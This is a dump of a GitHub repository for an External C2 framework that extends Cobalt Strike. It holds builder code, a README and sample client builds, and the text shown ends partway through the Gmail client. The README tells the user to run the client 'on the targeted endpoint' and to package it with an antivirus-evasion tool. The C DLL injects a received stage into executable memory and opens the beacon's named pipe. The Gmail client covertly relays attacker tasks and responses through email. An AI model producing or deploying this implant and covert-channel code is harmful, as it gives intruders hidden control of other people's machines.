├── .gitignore ├── README.md ├── build_files.py ├── builder ├── __init__.py └── skeleton │ ├── __init__.py │ └── skeleton_handler.py ├── builder_config_template.config.template ├── helpers ├── __init__.py └── common_utils.py ├── sample_builder_config-cobalt_strike.config.sample ├── sample_builds ├── client │ ├── gmail │ │ ├── c2file_dll.c │ │ ├── c2file_dll.h │ │ ├── compile_dll.sh │ │ └── gmail_client.py │ ├── imgur │ │ ├── c2file_dll.c │ │ ├── c2file_dll.h │ │ ├── compile_dll.sh │ │ └── imgur_client.py │ ├── raw_socket │ │ ├── c2file_dll.c │ │ ├── c2file_dll.h │ │ ├── compile_dll.sh │ │ └── raw_socket_client.py │ └── reddit │ │ ├── c2file_dll.c │ │ ├── c2file_dll.h │ │ ├── compile_dll.sh │ │ └── reddit_client.py ├── server │ ├── config.py │ ├── configureStage │ │ └── __init__.py │ ├── establishedSession │ │ └── __init__.py │ ├── sample_server-raw_socket.py │ ├── server.py │ └── utils │ │ ├── __init__.py │ │ ├── commonUtils.py │ │ ├── encoders │ │ ├── __init__.py │ │ ├── encoder_b64url.py │ │ ├── encoder_base64.py │ │ └── encoder_lsbjpg.py │ │ └── transports │ │ ├── __init__.py │ │ ├── transport_gmail.py │ │ ├── transport_imgur.py │ │ ├── transport_raw_socket.py │ │ └── transport_reddit.py └── start_externalc2.cna └── skeletons ├── encoders ├── __init__.py ├── b64url │ └── encoder_b64url.py ├── base64 │ └── encoder_base64.py └── lsbjpg │ ├── ENCODER_DEFINITIONS.md │ └── encoder_lsbjpg.py ├── frameworks └── cobalt_strike │ ├── FRAMEWORK_DEFINITONS.md │ ├── client │ ├── clientcore │ │ ├── clientcore.py │ │ └── full_clientcore.py │ ├── clientdll │ │ ├── c2file_dll.c │ │ └── c2file_dll.h │ └── clienthelpers │ │ ├── compile_dll.sh │ │ └── package_pyinstaller.script │ └── server │ ├── beacon │ └── __init__.py │ ├── config.py │ ├── configureStage │ └── __init__.py │ ├── establishedSession │ └── __init__.py │ ├── sample_server-raw_socket.py │ ├── server.py │ └── utils │ ├── __init__.py │ ├── commonUtils.py │ ├── encoders │ ├── __init__.py │ ├── encoder_b64url.py │ ├── encoder_base64.py │ └── encoder_lsbjpg.py │ └── transports │ ├── __init__.py │ ├── transport_gmail.py │ ├── transport_imgur.py │ ├── transport_raw_socket.py │ └── transport_reddit.py └── transports ├── __init__.py ├── gmail ├── TRANSPORT_DEFINITIONS.md └── transport_gmail.py ├── imgur ├── TRANSPORT_DEFINITIONS.md └── transport_imgur.py ├── raw_tcp_socket └── transport_raw_tcp_socket.py └── reddit ├── TRANSPORT_DEFINITIONS.md └── transport_reddit.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | .static_storage/ 56 | .media/ 57 | local_settings.py 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | 106 | 107 | # Project speficic folders 108 | .uflow_docs/ 109 | builds/ 110 | .idea/ 111 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # external_c2 framework 2 | Python framework for building and utilizing interfaces to transfer data between frameworks, with a specific focus on serving as an extension to Command and Control frameworks. 3 | 4 | Currently, this is only intended as an implementation of Cobalt Strike's External C2 specification as described in [this spec document](https://www.cobaltstrike.com/downloads/externalc2spec.pdf), but is subject to change as the project matures. 5 | 6 | ## Credits 7 | Massive credit goes to [xychix](https://twitter.com/xychix). This project would not have been possible at all without their valuable contributions. Basically this project is a rebuild and extension of [Outflank's External C2 project](https://github.com/outflanknl/external_c2) 8 | 9 | # Architecture 10 | This project consists of the following main parts: 11 | - Builder 12 | - Skeletons 13 | - Frameworks 14 | - Transports 15 | - Encoders 16 | - Manager (not yet implemented) 17 | 18 | ## Builder 19 | The builder reads in a config file, and uses configured options to generate a build by replacing `markers` within `skeletons`. 20 | 21 | The builder can be used with `build_files.py`. A sample builder configuration is provided as `sample_builder_config.config.sample`. 22 | 23 | ## Skeletons 24 | `skeletons` are the different "skeletons" of code that the `builder` will dynamically populate to generate a completely usable build. `skeletons` contain `markers` that will be replaced with usable values by the `builder`. There are three different 'types' of skeletons: 25 | 26 | ### Skeleton Markers 27 | A marker can be placed inside any file in a `skeleton`, which will be replaced with a value specified in the builder config. In best practice, **markers should never be used to directly write variables, and should only ever be used to set values**. If a marker's value has to be reused, one should opt to store the value in a variable and reference it that way, instead of reusing the same marker. 28 | 29 | The marker format is: ` ```[var:::identifier_for_the_marker]``` ` 30 | 31 | Strings will be written into a skeleton directly wrapped in single quotes, and numbers will be written as is. 32 | 33 | **In the event a string in the config is wrapped in double quotes**, the string will be written directly to the file wrapped in double quotes instead, and the wrapping single quotes will be stripped. 34 | 35 | This relationship can demonstrated as: 36 | 37 | ```python 38 | ################# 39 | # Skeleton Code # 40 | ################# 41 | 42 | # Skeleton contains the following line of code: 43 | foo = ```[var:::bar]``` 44 | 45 | ############## 46 | # End Result # 47 | ############## 48 | 49 | # Stored in config as: 50 | # foo = bar 51 | # Written as: 52 | foo = 'bar' 53 | 54 | # Stored in config as: 55 | # foo = "bar" 56 | # Written as: 57 | foo = "bar" 58 | 59 | # Stored in config as: 60 | # foo = 2 61 | # Written as: 62 | foo = 2 63 | 64 | # Stored in config as: 65 | # foo = "2" 66 | # Written as: 67 | foo = "2" 68 | ``` 69 | 70 | ## Frameworks 71 | Frameworks are the base application that determines what data is being used by the `transport` and `encoder`, and how that data is used. What a specific `framework` actually does doesn't really matter, so long as logic exists to import and use the `encoder` and `transport`. Most of the essential portions of a framework (primarily `client` logic) will be stored as a `skeleton`, with an interface to interact with the server portion of it being stored as a base `framework` object. 72 | 73 | Generally, a framework is contains a `server` and `client`, and makes use of `encoders` and `transports` to relay data between them. 74 | 75 | There are few fundamentals to consider when building a `framework`: 76 | * The `framework` is responsible for ensuring that the `encoder` is made available to the `transport` to be used. 77 | * If the `framework` uses a client-server relationship, they should be appropriately organized as such. 78 | * Understand that in a majority of cases, the end-user will never directly interact with a framework's `client`, so if you want things to be reconfigurable on the `client`, it needs to be able to do that during runtime with no direct interaction. 79 | * There should be little need for creating a `server` `skeleton` because the end-user is going to be directly interacting with a framework's `server`. Instead, opt to both read in options from a configuration, and give the end-user the ability to modify options (such as a block timer or verbosity) during runtime. 80 | * A `framework` skeleton will be processed by the builder, iterating through every file in it, so if a certain argument needs to be configurable at build time, it can be easily done. 81 | * A `framework` `server` should be able to be interfaced by a common `framework_manager`. 82 | 83 | ### Framework Server 84 | The server is the application that brokers communication between the `client` and the `c2 server`. The server logic is primarily static. The logic for the server for the `cobalt_strike` framework, referred to as `third-party Client Controller` within the spec, is shown below: 85 | 1. Parse the configuration 86 | 2. Import the specified encoding module 87 | 3. Import the specified transport module 88 | 4. Establish a connection to the c2 server 89 | 5. Request a stager from the c2 server 90 | 6. Encode the stager with the `encoder` module 91 | 7. Transport the stager with the `transport` module 92 | 8. Await for a metadata response from the client received via the `transport` 93 | 9. Decode the metadata with the `encoder` module 94 | 10. Relay the metadata to the c2 server. 95 | 11. Receive a new task from the c2 server. 96 | 12. Encode the new task 97 | 13. Relay the new task to the client via the `transport` 98 | 14. Receive for a response from the client received via the `transport` 99 | 15. Decode the response via the `encoder` module 100 | 16. Relay the response to the c2 server. 101 | 17. Repeat steps 11-16 102 | 103 | A `server` should support the ability to handle multiple clients (not yet implemented), and be interfaced by a `framework_manager`. 104 | 105 | ### Framework Client 106 | The client is essentially the payload that runs on the endpoint. The logic of the client for the `cobalt_strike` framework is primarily static, and shown below: 107 | 1. Run any preparations need to be utilizing the `transport` 108 | 2. Receive the stager 109 | 3. Inject the stager and open the handle to the beacon 110 | 4. Obtain metadata from the beacon 111 | 5. Relay the metadata from the beacon to the C2 server via the `transport` 112 | 6. Watch the `transport` for new tasks 113 | 7. Relay new tasks to the beacon 114 | 8. Relay responses from the beacon via the `transport` 115 | 9. Repeat steps 6-8. 116 | 117 | The client makes use of the specified `encoder` and `transport` to relay data between itself and its respective `server`. 118 | 119 | ## Encoders 120 | Encoders receive data, then modify that data to either prepare it for use to be sent via the transport, or decode data received via the transport back into its raw form to be interpreted by whatever `framework` component is utilizing it. 121 | 122 | Encoders should expect to be interfaced directly by the transport, and handle data in a framework and component agnostic manner. 123 | 124 | ## Transports 125 | Transports serve the role of sending and receiving data through a communication channel, and interfacing with the encoder to ensure that data is transformed to whatever format is necessary. Transports should expect to receive data from a framework component, or via the communication channel, and have the ability to relay data through the communication channel. **Transports are responsible for calling the `encoder` to encode or decode data as necessary**. 126 | 127 | Transports should expect to be interfaced directly by the `framework` component, and handle data in a framework and component agnostic manner. 128 | 129 | # How to use this 130 | 1. First, determine which transport and encoding module you'd like to use. We'll use `transport_imgur` and `encoder_lsbjpg` for the following example. 131 | 132 | 2. Next, create a `builder_config.config` to suit your needs, refer to the provided sample config and template for direction on how to do this. 133 | 134 | 3. Generate a build with `build_files.py`. As an example, one would generate a build in the `builds` directory using `encoder_lsbjpg`, and `transport_imgur` for Cobalt Strike, verbosely, with the following command: 135 | 136 | ```bash 137 | python build_files.py -b builds -f cobalt_strike -c sample_builder_config.config.sample -e encoder_lsbjpg -t transport_imgur -v 138 | ``` 139 | 140 | 4. Next, start running your built server and distribute your client. 141 | 142 | 143 | ### Cobalt Strike 144 | On the machine running the server, execute: 145 | 146 | `python server.py` 147 | 148 | For more verbose output, you may run: 149 | 150 | `python server.py -v` 151 | 152 | For more verbose output and additional output that is useful for debugging, you may run: 153 | 154 | `python server.py -d` 155 | 156 | Next, execute the client on the targeted endpoint. 157 | 158 | If everything worked, a new beacon will be registered within the Cobalt Strike console that you may interact with. 159 | 160 | # FAQ 161 | **Why would you write this?**: 162 | There weren't very many released implementation of the Cobalt Strike spec, and of the ones that are released, they either are not in a language that I am familiar with or do not have the modularity and abstraction that I was seeking. 163 | 164 | **Why Python 2?**: 165 | I'm lazy and it's easy to implement new transport and encoding channels in it. 166 | 167 | **Your code sucks**: 168 | That's not a question. 169 | 170 | **Can I submit new transport and/or encoder modules?**: 171 | Yes please! Submit a pull request and I would be happy to review. 172 | 173 | **How do I compile the client into an executable I can distribute?**: 174 | I've tested this successfully in Kali, to recreate my environment, just ensure you have [veil-evasion](https://github.com/Veil-Framework/Veil-Evasion) installed and that you ran through its setup. It should have setup a wine environment with python installed that has all of the dependencies you need. You MAY have to install the `pefile` module into this environment as well. 175 | 176 | Then, you can go to the directory for the client you want to generate an executable for and run: 177 | 178 | ```bash 179 | chmod +x compile_dll.sh 180 | ./compile_dll.sh 181 | wine "C:\\Python27\\python.exe" /usr/share/veil/pyinstaller/pyinstaller.py -F -r c2file.dll -w --key "ayyyyyyylmao" client.py 182 | ``` 183 | 184 | Replace the value for `key` with whatever you want. You should see the client executable in the `dist/` directory. If you want to generate an executable that provides a console that you can use for debugging, compile the executable with `wine "C:\\Python27\\python.exe" /usr/share/veil/pyinstaller/pyinstaller.py -F -r c2file.dll -c client.py` 185 | -------------------------------------------------------------------------------- /build_files.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import ConfigParser 3 | import os 4 | from distutils.dir_util import mkpath 5 | 6 | import builder 7 | from builder.skeleton import skeleton_handler 8 | from helpers import common_utils 9 | 10 | def load_config(config_path): 11 | config_load = ConfigParser.ConfigParser() 12 | config_load.readfp(open(config_path)) 13 | 14 | return config_load 15 | 16 | def find_skeleton(component_type, component_name): 17 | return_path = "" 18 | components_dir = "skeletons" + os.sep + component_type + "s" + os.sep + component_name.replace((component_type + "_"), "") + os.sep 19 | for subdir, dirs, files in os.walk(components_dir): 20 | for file in files: 21 | filepath = components_dir + file 22 | if component_name in filepath: 23 | return_path = filepath 24 | return return_path 25 | 26 | def dump_module(filepath): 27 | fp = open(filepath, 'rb') 28 | mod_contents = fp.read() 29 | fp.close() 30 | 31 | return mod_contents 32 | 33 | def find_framework(component_type, framework_name): 34 | filepath = "" 35 | return_path = [] 36 | components_dir = "skeletons" + os.sep + component_type + "s" + os.sep + framework_name + os.sep 37 | for subdir, dirs, files in os.walk(components_dir): 38 | for file in files: 39 | filepath = subdir + os.sep + file 40 | if not filepath.endswith(".md"): 41 | return_path.append(filepath) 42 | return return_path 43 | 44 | def build_framework(build, encoder_path, transport_path): 45 | framework_files = find_framework("framework", build.framework) 46 | encoder_code = dump_module(encoder_path) 47 | transport_code = dump_module(transport_path) 48 | config.set('framework_options', 'encoder', build.encoder) 49 | config.set('framework_options', 'transport', build.transport) 50 | return_paths = [] 51 | for file in framework_files: 52 | build_skeleton = skeleton_handler.SkeletonHandler(file) 53 | if args.verbose: 54 | print "Current framework file: %s" %(file) 55 | build_skeleton.LoadSkeleton() 56 | 57 | framework_options_str = "framework_options" 58 | 59 | for item in config.items(framework_options_str): 60 | key = item[0] 61 | value = item[1] 62 | build_skeleton.target_var = key 63 | build_skeleton.regex_replacement_value_marker = '```\[var:::'+build_skeleton.target_var+'\]```' 64 | build_skeleton.new_value = value 65 | build_skeleton.ReplaceString() 66 | 67 | for item in [('encoder_code', encoder_code), ('transport_code', transport_code)]: 68 | key = item[0] 69 | value = item[1] 70 | build_skeleton.target_var = key 71 | build_skeleton.regex_replacement_value_marker = '```\[var:::'+build_skeleton.target_var+'\]```' 72 | build_skeleton.new_value = value 73 | build_skeleton.ReplaceString(raw=True) 74 | 75 | file_destination = file.replace(("skeletons" + os.sep), (args.build_path + os.sep)) 76 | mkpath(os.path.dirname(file_destination)) 77 | 78 | build.build_client_file(build_skeleton.GetCurrentFile(), file_destination) 79 | return_paths.append(file_destination) 80 | 81 | return return_paths 82 | 83 | 84 | def build_module(build, module_type, selected_module): 85 | component_skeleton = find_skeleton(module_type, str(selected_module).strip('"').strip("'")) 86 | build_skeleton = skeleton_handler.SkeletonHandler(component_skeleton) 87 | if args.verbose: 88 | print "CURRENT TARGET SKELETON: " + build_skeleton.target_skeleton 89 | build_skeleton.LoadSkeleton() 90 | 91 | # if args.debug: 92 | # print "Current %s contents, before loop: " + "\n" + build_skeleton.GetCurrentFile() %(module_type) 93 | mod_options_str = str(module_type) + "_options" 94 | 95 | for item in config.items(mod_options_str): 96 | key = item[0] 97 | value = item[1] 98 | build_skeleton.target_var = key 99 | build_skeleton.regex_replacement_value_marker = '```\[var:::'+build_skeleton.target_var+'\]```' 100 | build_skeleton.new_value = value 101 | build_skeleton.ReplaceString() 102 | # if args.debug: 103 | # print "Current %s contents, after loop: " + "\n" + build_skeleton.GetCurrentFile() %(module_type) 104 | module_destination = args.build_path + os.sep + module_type + os.sep 105 | mkpath(module_destination) 106 | module_destination = module_destination + selected_module + ".py" 107 | build.build_client_file(build_skeleton.GetCurrentFile(), module_destination) 108 | # Just cleanup 109 | del build_skeleton, component_skeleton 110 | 111 | return module_destination 112 | 113 | 114 | def main(): 115 | parser = argparse.ArgumentParser() 116 | parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output', dest='verbose', default=False) 117 | parser.add_argument('-d', '--debug', action='store_true', help='Enable debugging output', dest='debug', default=False) 118 | parser.add_argument('-f', '--framework', help='The name of the framework to build for', dest='selected_framework') 119 | parser.add_argument('-e', '--encoder', help='The name of the encoder module to use for the client', dest='selected_encoder') 120 | parser.add_argument('-t', '--transport', help='The name of the transport module to use for the client', dest='selected_transport') 121 | parser.add_argument('-c', '--config', help='the/path/to/the/config file to use for the builder routine', dest='config_path') 122 | parser.add_argument('-b', '--buildpath', help='the/path/to place the built files into', dest='build_path') 123 | 124 | global args 125 | args = parser.parse_args() 126 | 127 | # Let's load our config file 128 | global config 129 | config = load_config(args.config_path) 130 | 131 | # Create the builder object 132 | build = builder.Builder() 133 | 134 | if not args.selected_framework: 135 | args.selected_framework = config.get('framework', 'framework') 136 | 137 | # Let's assign the proper builder variables 138 | build.encoder = str(args.selected_encoder) 139 | build.transport = str(args.selected_transport) 140 | build.framework = str(args.selected_framework) 141 | build.build_path = str(args.build_path) 142 | 143 | # Run any tasks required to prepare the builder before hand. 144 | build.prep_builder() 145 | 146 | print "Building file(s) for %s, with %s and %s at %s" %(args.selected_framework, args.selected_transport, args.selected_encoder, args.build_path) 147 | 148 | built_encoder_path = build_module(build, "encoder", build.encoder) 149 | built_transport_path = build_module(build, "transport", build.transport) 150 | 151 | # TODO: For the framework object, we need to recreate the directory structure in the 'build_path', 152 | # then iterate through each file in the client for all client_options vars, 153 | # then iterate through each file in the server for all server_options vars, 154 | # then iterate through each file in both for all framework_options vars 155 | # Generally, we won't need more than just the framework_options, so we'll start with that... 156 | built_framework_path = build_framework(build, built_encoder_path, built_transport_path) 157 | 158 | 159 | 160 | 161 | main() 162 | -------------------------------------------------------------------------------- /builder/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import skeleton 3 | import skeleton.skeleton_handler 4 | from helpers import common_utils 5 | 6 | class Builder(object): 7 | def __init__(self): 8 | self.encoder = "" 9 | self.transport = "" 10 | self.framework = "" 11 | self.build_path = "" 12 | self.encoder_code = "" 13 | self.transport_code = "" 14 | 15 | def prep_builder(self): 16 | return "" 17 | 18 | def build_client_file(self, file_contents, output_path): 19 | try: 20 | output_pointer = open(output_path, 'wb+') 21 | output_pointer.write(file_contents) 22 | output_pointer.close() 23 | print(common_utils.color("Generated output file: ", status=True) + "%s") %(common_utils.color(str(output_path), status=False, yellow=True)) 24 | except Exception as e: 25 | print (common_utils.color(("Error generating output file %s: " %(str(output_path))), warning=True, status=False) + "%s") % (str(e)) 26 | pass 27 | 28 | -------------------------------------------------------------------------------- /builder/skeleton/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/builder/skeleton/__init__.py -------------------------------------------------------------------------------- /builder/skeleton/skeleton_handler.py: -------------------------------------------------------------------------------- 1 | import re 2 | from helpers import common_utils 3 | 4 | class SkeletonHandler(object): 5 | def __init__(self, target_skeleton): 6 | self.new_value = "" #given as `r'\\.\sample\unescaped\string'` (sans grave accents, include quotes) if str; if a number, just give the number 7 | self.target_skeleton = target_skeleton 8 | self.file_contents = "" 9 | self.regex_replacement_marker = '```\[var:::(\w*)\]```' 10 | self.target_var = "" # given as a normal string 11 | self.regex_replacement_value_marker = '```\[var:::'+self.target_var+'\]```' 12 | 13 | def LoadSkeleton(self): 14 | try: 15 | skeleton_pointer = open(self.target_skeleton) 16 | self.file_contents = skeleton_pointer.read() 17 | skeleton_pointer.close() 18 | except Exception as e: 19 | print (common_utils.color(("Error loading skeleton %s: " %(str(self.target_skeleton))), warning=True, status=False) + "%s") % (str(e)) 20 | # Prevent future issues from arising by clearing out the target_skeleton and file_content variables 21 | self.target_skeleton = "" 22 | self.file_contents = "" 23 | pass 24 | 25 | def ReplaceString(self, raw=False): 26 | replace_string = list(set(re.findall(self.regex_replacement_marker, self.file_contents))) 27 | for var in replace_string: 28 | if isinstance(self.new_value, (int, long, float, complex)) or raw == True: 29 | self.file_contents = re.sub(self.regex_replacement_value_marker.replace(str(self.new_value), self.target_var), str(self.new_value), self.file_contents) 30 | elif '"' in self.new_value : 31 | self.file_contents = re.sub(self.regex_replacement_value_marker.replace(self.new_value, self.target_var), repr(self.new_value).strip("'"), self.file_contents) 32 | else: 33 | self.file_contents = re.sub(self.regex_replacement_value_marker.replace(self.new_value, self.target_var), repr(self.new_value), self.file_contents) 34 | 35 | def GetCurrentFile(self): 36 | return self.file_contents 37 | -------------------------------------------------------------------------------- /builder_config_template.config.template: -------------------------------------------------------------------------------- 1 | # This config is parsed with the Python ConfigParser module. All sections and 2 | # options stored in this file are the minimum REQUIRED by the builder. There 3 | # may be options not shown that are required to generate a successful build. 4 | 5 | ########################################################################### 6 | # Here is an explanation of how values should be entered into this config # 7 | ########################################################################### 8 | # Stored in config as: 9 | # foo = bar 10 | # Written as: 11 | # foo = 'bar' 12 | # 13 | # Stored in config as: 14 | # foo = "bar" 15 | # Written as: 16 | # foo = "bar" 17 | # 18 | # Stored in config as: 19 | # foo = 2 20 | # Written as: 21 | # foo = 2 22 | # 23 | # Stored in config as: 24 | # foo = "2" 25 | # Written as: 26 | # foo = "2" 27 | ########################################################################### 28 | 29 | [builder] 30 | # This section gives the builder any specific information it requires. 31 | 32 | # This MUST be wrapped in double quotes 33 | encoder = "$encoder_name" 34 | 35 | # This must be wrapped in double quotes 36 | transport = "$transport_name" 37 | 38 | [framework] 39 | # The specifies which framework's skeletons will be handled by the builder 40 | framework = cobalt_strike 41 | 42 | [framework_options] 43 | # Any framework specific options should be specified below 44 | 45 | [encoder_options] 46 | # Any encoder specific options should be specified below 47 | 48 | [transport_options] 49 | # Any transport specific options should be specified below 50 | -------------------------------------------------------------------------------- /helpers/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Und3rf10w/external_c2_framework/9bbcb0d7bbe06b7aa5711808f494cdca7643d87e/helpers/__init__.py -------------------------------------------------------------------------------- /helpers/common_utils.py: -------------------------------------------------------------------------------- 1 | def color(string, status=True, warning=False, bold=True, yellow=False): 2 | """ 3 | Change text color for the terminal, defaults to green 4 | 5 | Set "warning=True" for red 6 | """ 7 | 8 | attr = [] 9 | 10 | if status: 11 | # green, probably will change this to default, I just use green normally. 12 | attr.append('32') 13 | if warning: 14 | # red 15 | attr.append('31') 16 | if bold: 17 | attr.append('1') 18 | if yellow: 19 | attr.append('33') 20 | return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) -------------------------------------------------------------------------------- /sample_builder_config-cobalt_strike.config.sample: -------------------------------------------------------------------------------- 1 | [builder] 2 | encoder = "encoder_lsbjpg" 3 | transport = "transport_imgur" 4 | 5 | [framework] 6 | framework = cobalt_strike 7 | 8 | [framework_options] 9 | c2_block_time = 100 10 | cdll_name = cdll.dll 11 | c2_pipe_name = "\\foobar" 12 | client_consts = 13 | external_c2_addr = 127.0.0.1 14 | external_c2_port = 2222 15 | idle_time = 5 16 | c2_arch = x86 17 | 18 | [encoder_options] 19 | img_format = PNG 20 | img_size = 4320 21 | 22 | [transport_options] 23 | username = test 24 | client_id = xxxxxxxxxxx 25 | client_secret = yyyyyyyyyyy 26 | stager_album_name = STG4U 27 | send_album_name = TSK4U 28 | recv_album_name = RESP4U 29 | access_token = 12a3b4c5d6e 30 | refresh_token = 65f4g3h2i1 31 | 32 | -------------------------------------------------------------------------------- /sample_builds/client/gmail/c2file_dll.c: -------------------------------------------------------------------------------- 1 | /* a quick-client for Cobalt Strike's External C2 server based on code from @armitagehacker */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define PAYLOAD_MAX_SIZE 512 * 1024 8 | #define BUFFER_MAX_SIZE 1024 * 1024 9 | 10 | 11 | /* read a frame from a handle */ 12 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) { 13 | DWORD size = 0, temp = 0, total = 0; 14 | /* read the 4-byte length */ 15 | ReadFile(my_handle, (char * ) & size, 4, & temp, NULL); 16 | 17 | /* read the whole thing in */ 18 | while (total < size) { 19 | // xychix added 1 line 20 | Sleep(3000); 21 | ReadFile(my_handle, buffer + total, size - total, & temp, NULL); 22 | total += temp; 23 | } 24 | return size; 25 | } 26 | 27 | /* write a frame to a file */ 28 | DWORD write_frame(HANDLE my_handle, char * buffer, DWORD length) { 29 | DWORD wrote = 0; 30 | printf("in write_frame we have: %s",buffer); 31 | WriteFile(my_handle, (void * ) & length, 4, & wrote, NULL); 32 | return WriteFile(my_handle, buffer, length, & wrote, NULL); 33 | //return wrote; 34 | } 35 | 36 | HANDLE start_beacon(char * payload, unsigned int pylen){ 37 | DWORD length = (DWORD) pylen; 38 | /* inject the payload stage into the current process */ 39 | char * payloadE = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 40 | memcpy(payloadE, payload, length); 41 | printf("Injecting Code, %d bytes\n", length); 42 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) payloadE, (LPVOID) NULL, 0, NULL); 43 | /* 44 | * connect to our Beacon named pipe */ 45 | HANDLE handle_beacon = INVALID_HANDLE_VALUE; 46 | while (handle_beacon == INVALID_HANDLE_VALUE) { 47 | handle_beacon = CreateFileA("\\\\.\\pipe\\foobar", 48 | GENERIC_READ | GENERIC_WRITE, 49 | 0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL); 50 | 51 | } 52 | return(handle_beacon); 53 | } -------------------------------------------------------------------------------- /sample_builds/client/gmail/c2file_dll.h: -------------------------------------------------------------------------------- 1 | #ifndef c2file_H__ 2 | #define c2file_H__ 3 | 4 | DWORD read_frame(HANDLE my_handle, char * buffer, DWORD max) 5 | void write_frame(HANDLE my_handle, char * buffer, DWORD length) 6 | HANDLE start_beacon(char * payload, DWORD length) 7 | 8 | #endif -------------------------------------------------------------------------------- /sample_builds/client/gmail/compile_dll.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | i686-w64-mingw32-gcc -shared c2file_dll.c -o c2file.dll -------------------------------------------------------------------------------- /sample_builds/client/gmail/gmail_client.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | from ctypes.wintypes import * 3 | import sys 4 | import os 5 | import struct 6 | 7 | # Encoder imports: 8 | import base64 9 | import urllib 10 | 11 | # Transport imports: 12 | import email 13 | import imaplib 14 | from smtplib import SMTP 15 | from smtplib import SMTP_SSL 16 | from email.MIMEMultipart import MIMEMultipart 17 | from email.MIMEBase import MIMEBase 18 | from email.MIMEText import MIMEText 19 | from time import sleep 20 | 21 | # START GHETTO CONFIG, should be read in when compiled... 22 | GMAIL_USER = 'example@gmail.com' 23 | GMAIL_PWD = 'hunter2' 24 | SERVER = 'smtp.gmail.com' 25 | #SERVER_PORT = 587 26 | SERVER_PORT = 465 27 | # END GHETTO CONFIG 28 | 29 | # THIS SECTION (encoder and transport functions) WILL BE DYNAMICALLY POPULATED BY THE BUILDER FRAMEWORK 30 | # 31 | def encode(data): 32 | data = base64.b64encode(data) 33 | return urllib.quote_plus(data)[::-1] 34 | 35 | def decode(data): 36 | data = urllib.unquote(data[::-1]) 37 | return base64.b64decode(data) 38 | # 39 | 40 | # 41 | def prepTransport(): 42 | return 0 43 | 44 | def sendData(data): 45 | msg = MIMEMultipart() 46 | msg['From'] = GMAIL_USER 47 | msg['To'] = GMAIL_USER 48 | msg['Subject'] = "Resp4You" 49 | message_content = encode(data) 50 | 51 | msg.attach(MIMEText(str(message_content))) 52 | 53 | while True: 54 | try: 55 | #mailServer = SMTP() 56 | mailServer = SMTP_SSL(SERVER, SERVER_PORT) 57 | # mailServer.connect(SERVER, SERVER_PORT) 58 | #mailServer.ehlo() 59 | #mailServer.starttls() 60 | mailServer.login(GMAIL_USER,GMAIL_PWD) 61 | mailServer.sendmail(GMAIL_USER, GMAIL_USER, msg.as_string()) 62 | mailServer.quit() 63 | break 64 | except Exception as e: 65 | sleep(10) # wait 10 seconds to try again 66 | 67 | def recvData(): 68 | c= imaplib.IMAP4_SSL(SERVER) 69 | c.login(GMAIL_USER, GMAIL_PWD) 70 | c.select("INBOX") 71 | 72 | #typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'New4You')".format(uniqueid)) 73 | while True: 74 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "New4You")') 75 | print id_list[0].split() 76 | if not id_list[0].split(): 77 | sleep(10) # wait for 10 seconds before checking again 78 | c.select("INBOX") 79 | typ, id_list = c.search(None, '(UNSEEN SUBJECT "New4You")') 80 | pass 81 | else: 82 | for msg_id in id_list[0].split(): 83 | msg = c.fetch(msg_id, '(RFC822)') 84 | #c.store(msg_id, '+FLAGS', '\SEEN') 85 | msg = ([x[0] for x in msg][1])[1] 86 | for part in email.message_from_string(msg).walk(): 87 | msg = part.get_payload() 88 | # print msg 89 | c.logout() 90 | return decode(msg) 91 | 92 | 93 | # 94 | 95 | maxlen = 1024*1024 96 | 97 | lib = CDLL('c2file.dll') 98 | 99 | lib.start_beacon.argtypes = [c_char_p,c_int] 100 | lib.start_beacon.restype = POINTER(HANDLE) 101 | def start_beacon(payload): 102 | return(lib.start_beacon(payload,len(payload))) 103 